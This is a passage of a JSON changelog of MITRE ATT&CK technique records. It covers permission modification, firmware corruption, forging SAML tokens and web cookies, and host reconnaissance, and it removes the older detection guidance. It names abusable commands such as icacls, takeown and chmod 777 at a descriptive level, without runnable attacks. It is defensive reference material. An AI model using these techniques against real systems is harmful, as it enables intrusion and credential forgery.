Icacls2 May 2018", + "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.", + "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110" + }, + { + "source_name": "20 macOS Common Tools and Techniques", + "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", + "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS", + "Linux" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"File: File Metadata\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:21.839000+00:00\", \"old_value\": \"2025-04-15 22:46:00.944000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Commonly abused command arguments include chmod +x, chmod -R 755, and chmod 777.(Citation: 20 macOS Common Tools and Techniques) \\n\\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Commonly abused command arguments include chmod +x, chmod -R 755, and chmod 777.(Citation: 20 macOS Common Tools and Techniques) \\n-\\n-Consider enabling file/directory permission change auditing on folders containing key binary/configuration files.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1026: Privileged Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0351: Unix-like File Permission Manipulation Behavioral Chain Detection Strategy" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-04 19:17:41.767000+00:00", + "modified": "2025-10-24 17:48:37.826000+00:00", + "name": "Windows File and Directory Permissions Modification", + "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nWindows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)\n\nAdversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1222/001", + "external_id": "T1222.001" + }, + { + "source_name": "Hybrid Analysis Icacls1 June 2018", + "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.", + "url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100" + }, + { + "source_name": "Hybrid Analysis Icacls2 May 2018", + "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.", + "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110" + }, + { + "source_name": "Microsoft Access Control Lists May 2018", + "description": "M. Satran, M. Jacobs. (2018, May 30). Access Control Lists. Retrieved February 4, 2020.", + "url": "https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-lists" + }, + { + "source_name": "Microsoft DACL May 2018", + "description": "Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19, 2018.", + "url": "https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces" + }, + { + "source_name": "EventTracker File Permissions Feb 2014", + "description": "Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.", + "url": "https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Active Directory: Active Directory Object Modification\", \"Process: Process Creation\", \"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:37.826000+00:00\", \"old_value\": \"2025-04-15 23:21:45.352000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor and investigate attempts to modify DACLs and file/directory ownership. Many of the commands used to modify DACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\\n\\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor and investigate attempts to modify DACLs and file/directory ownership. Many of the commands used to modify DACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\\n-\\n-Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1026: Privileged Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Metadata)", + "DS0026: Active Directory (Active Directory Object Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0418: Windows DACL Manipulation Behavioral Chain Detection Strategy" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-12 18:28:15.451000+00:00", + "modified": "2025-10-24 17:49:37.207000+00:00", + "name": "Firmware Corruption", + "description": "Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus denying the availability to use the devices and/or the system.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices may include the motherboard, hard drive, or video cards.\n\nIn general, adversaries may manipulate, overwrite, or corrupt firmware in order to deny the use of the system or devices. For example, corruption of firmware responsible for loading the operating system for network devices may render the network devices inoperable.(Citation: dhs_threat_to_net_devices)(Citation: cisa_malware_orgs_ukraine) Depending on the device, this attack may also result in [Data Destruction](https://attack.mitre.org/techniques/T1485). ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1495", + "external_id": "T1495" + }, + { + "source_name": "cisa_malware_orgs_ukraine", + "description": "CISA. (2022, April 28). Alert (AA22-057A) Update: Destructive Malware Targeting Organizations in Ukraine. Retrieved July 29, 2022.", + "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-057a" + }, + { + "source_name": "dhs_threat_to_net_devices", + "description": "U.S. Department of Homeland Security. (2016, August 30). The Increasing Threat to Network Infrastructure Devices and Recommended Mitigations. Retrieved July 29, 2022.", + "url": "https://cyber.dhs.gov/assets/report/ar-16-20173.pdf" + }, + { + "source_name": "MITRE Trustworthy Firmware Measurement", + "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016.", + "url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research" + }, + { + "source_name": "Symantec Chernobyl W95.CIH", + "description": "Yamamura, M. (2002, April 25). W95.CIH. Retrieved April 12, 2019.", + "url": "https://web.archive.org/web/20190508170055/https://www.symantec.com/security-center/writeup/2000-122010-2655-99" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Firmware: Firmware Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:37.207000+00:00\", \"old_value\": \"2025-04-16 20:37:22.991000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System firmware manipulation may be detected.(Citation: MITRE Trustworthy Firmware Measurement) Log attempts to read/write to BIOS and compare against known patching behavior.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1046: Boot Integrity", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0001: Firmware (Firmware Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0167: Firmware Modification via Flash Tool or Corrupted Firmware Upload" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-12-17 02:13:46.247000+00:00", + "modified": "2025-10-24 17:49:07.201000+00:00", + "name": "Forge Web Credentials", + "description": "Adversaries may forge credential materials that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies, tokens, or other materials to authenticate and authorize user access.\n\nAdversaries may generate these credential materials in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), and other similar behaviors in that the credentials are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nThe generation of web credentials often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.(Citation: GitHub AWS-ADFS-Credential-Generator) Adversaries may also forge tokens by taking advantage of features such as the `AssumeRole` and `GetFederationToken` APIs in AWS, which allow users to request temporary security credentials (i.e., [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005)), or the `zmprov gdpak` command in Zimbra, which generates a pre-authentication key that can be used to generate tokens for any user in the domain.(Citation: AWS Temporary Security Credentials)(Citation: Zimbra Preauth)\n\nOnce forged, adversaries may use these web credentials to access resources (ex: [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)(Citation: Microsoft SolarWinds Customer Guidance) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1606", + "external_id": "T1606" + }, + { + "source_name": "AWS Temporary Security Credentials", + "description": "AWS. (n.d.). Requesting temporary security credentials. Retrieved April 1, 2022.", + "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html" + }, + { + "source_name": "Unit 42 Mac Crypto Cookies January 2019", + "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.", + "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/" + }, + { + "source_name": "GitHub AWS-ADFS-Credential-Generator", + "description": "Damian Hickey. (2017, January 28). AWS-ADFS-Credential-Generator. Retrieved September 27, 2024.", + "url": "https://github.com/pvanbuijtene/aws-adfs-credential-generator" + }, + { + "source_name": "Microsoft SolarWinds Customer Guidance", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.", + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/" + }, + { + "source_name": "Pass The Cookie", + "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.", + "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html" + }, + { + "source_name": "Zimbra Preauth", + "description": "Zimbra. (2023, March 16). Preauth. Retrieved May 31, 2023.", + "url": "https://wiki.zimbra.com/wiki/Preauth" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Dylan Silva, AWS Security" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "SaaS", + "Windows", + "macOS", + "Linux", + "IaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Web Credential: Web Credential Usage\", \"Web Credential: Web Credential Creation\", \"Logon Session: Logon Session Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:07.201000+00:00\", \"old_value\": \"2025-04-15 22:37:02.111000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1047: Audit", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0006: Web Credential (Web Credential Creation)", + "DS0006: Web Credential (Web Credential Usage)", + "DS0028: Logon Session (Logon Session Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0260: Detection Strategy for Forged Web Credentials" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-12-17 15:24:12.240000+00:00", + "modified": "2025-10-24 17:48:30.302000+00:00", + "name": "SAML Tokens", + "description": "An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the NotOnOrAfter value of the conditions ... element in a token. This value can be changed using the AccessTokenLifetime in a LifetimeTokenPolicy.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)\n\nAn adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nAn adversary may gain administrative Entra ID privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1606/002", + "external_id": "T1606.002" + }, + { + "source_name": "Microsoft SolarWinds Steps", + "description": "Lambert, J. (2020, December 13). Important steps for customers to protect themselves from recent nation-state cyberattacks. Retrieved December 17, 2020.", + "url": "https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/" + }, + { + "source_name": "Microsoft SAML Token Lifetimes", + "description": "Microsoft. (2020, December 14). Configurable token lifetimes in Microsoft Identity Platform. Retrieved December 22, 2020.", + "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes" + }, + { + "source_name": "Microsoft SolarWinds Customer Guidance", + "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020.", + "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/" + }, + { + "source_name": "Cyberark Golden SAML", + "description": "Reiner, S. (2017, November 21). Golden SAML: Newly Discovered Attack Technique Forges Authentication to Cloud Apps. Retrieved December 17, 2020.", + "url": "https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps" + }, + { + "source_name": "Sygnia Golden SAML", + "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved November 17, 2024.", + "url": "https://www.sygnia.co/threat-reports-and-advisories/golden-saml-attack/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Blake Strom, Microsoft 365 Defender", + "Oleg Kolesnikov, Securonix", + "Jack Burns, HubSpot" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "SaaS", + "Windows", + "IaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Web Credential: Web Credential Usage\", \"Web Credential: Web Credential Creation\", \"Logon Session: Logon Session Creation\", \"User Account: User Account Authentication\", \"Logon Session: Logon Session Metadata\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:30.302000+00:00\", \"old_value\": \"2025-04-15 23:01:25.698000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"This technique may be difficult to detect as SAML tokens are signed by a trusted certificate. The forging process may not be detectable since it is likely to happen outside of a defender's visibility, but subsequent usage of the forged token may be seen. Monitor for anomalous logins using SAML tokens created by a compromised or adversary generated token-signing certificate. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer Guidance) Search for logins to service providers using SAML SSO which do not have corresponding 4769, 1200, and 1202 events in the Domain.(Citation: Sygnia Golden SAML)\\n\\nConsider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-This technique may be difficult to detect as SAML tokens are signed by a trusted certificate. The forging process may not be detectable since it is likely to happen outside of a defender's visibility, but subsequent usage of the forged token may be seen. Monitor for anomalous logins using SAML tokens created by a compromised or adversary generated token-signing certificate. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer Guidance) Search for logins to service providers using SAML SSO which do not have corresponding 4769, 1200, and 1202 events in the Domain.(Citation: Sygnia Golden SAML)\\n-\\n-Consider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML)\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1015: Active Directory Configuration", + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Authentication)", + "DS0006: Web Credential (Web Credential Creation)", + "DS0006: Web Credential (Web Credential Usage)", + "DS0009: Process (Process Creation)", + "DS0028: Logon Session (Logon Session Creation)", + "DS0028: Logon Session (Logon Session Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0148: Detection Strategy for Forged SAML Tokens" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--861b8fd2-57f3-4ee1-ab5d-c19c3b8c7a4a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-12-17 02:14:34.178000+00:00", + "modified": "2025-10-24 17:49:04.036000+00:00", + "name": "Web Cookies", + "description": "Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.\n\nAdversaries may generate these cookies in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.\n\nOnce forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1606/001", + "external_id": "T1606.001" + }, + { + "source_name": "Volexity SolarWinds", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/" + }, + { + "source_name": "Unit 42 Mac Crypto Cookies January 2019", + "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.", + "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/" + }, + { + "source_name": "Pass The Cookie", + "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.", + "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jack Burns, HubSpot" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "SaaS", + "IaaS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Logon Session: Logon Session Creation\", \"Web Credential: Web Credential Usage\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:04.036000+00:00\", \"old_value\": \"2025-04-15 23:20:22.744000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for anomalous authentication activity, such as logons or other user session activity associated with unknown accounts. Monitor for unexpected and abnormal access to resources, including access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1047: Audit", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0006: Web Credential (Web Credential Usage)", + "DS0028: Logon Session (Logon Session Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0171: Detection Strategy for Forged Web Cookies" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 16:39:33.966000+00:00", + "modified": "2025-10-24 17:48:21.583000+00:00", + "name": "Gather Victim Host Information", + "description": "Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).\n\nAdversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary\u2019s follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.(Citation: TrellixQakbot)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1592", + "external_id": "T1592" + }, + { + "source_name": "ATT ScanBox", + "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.", + "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks" + }, + { + "source_name": 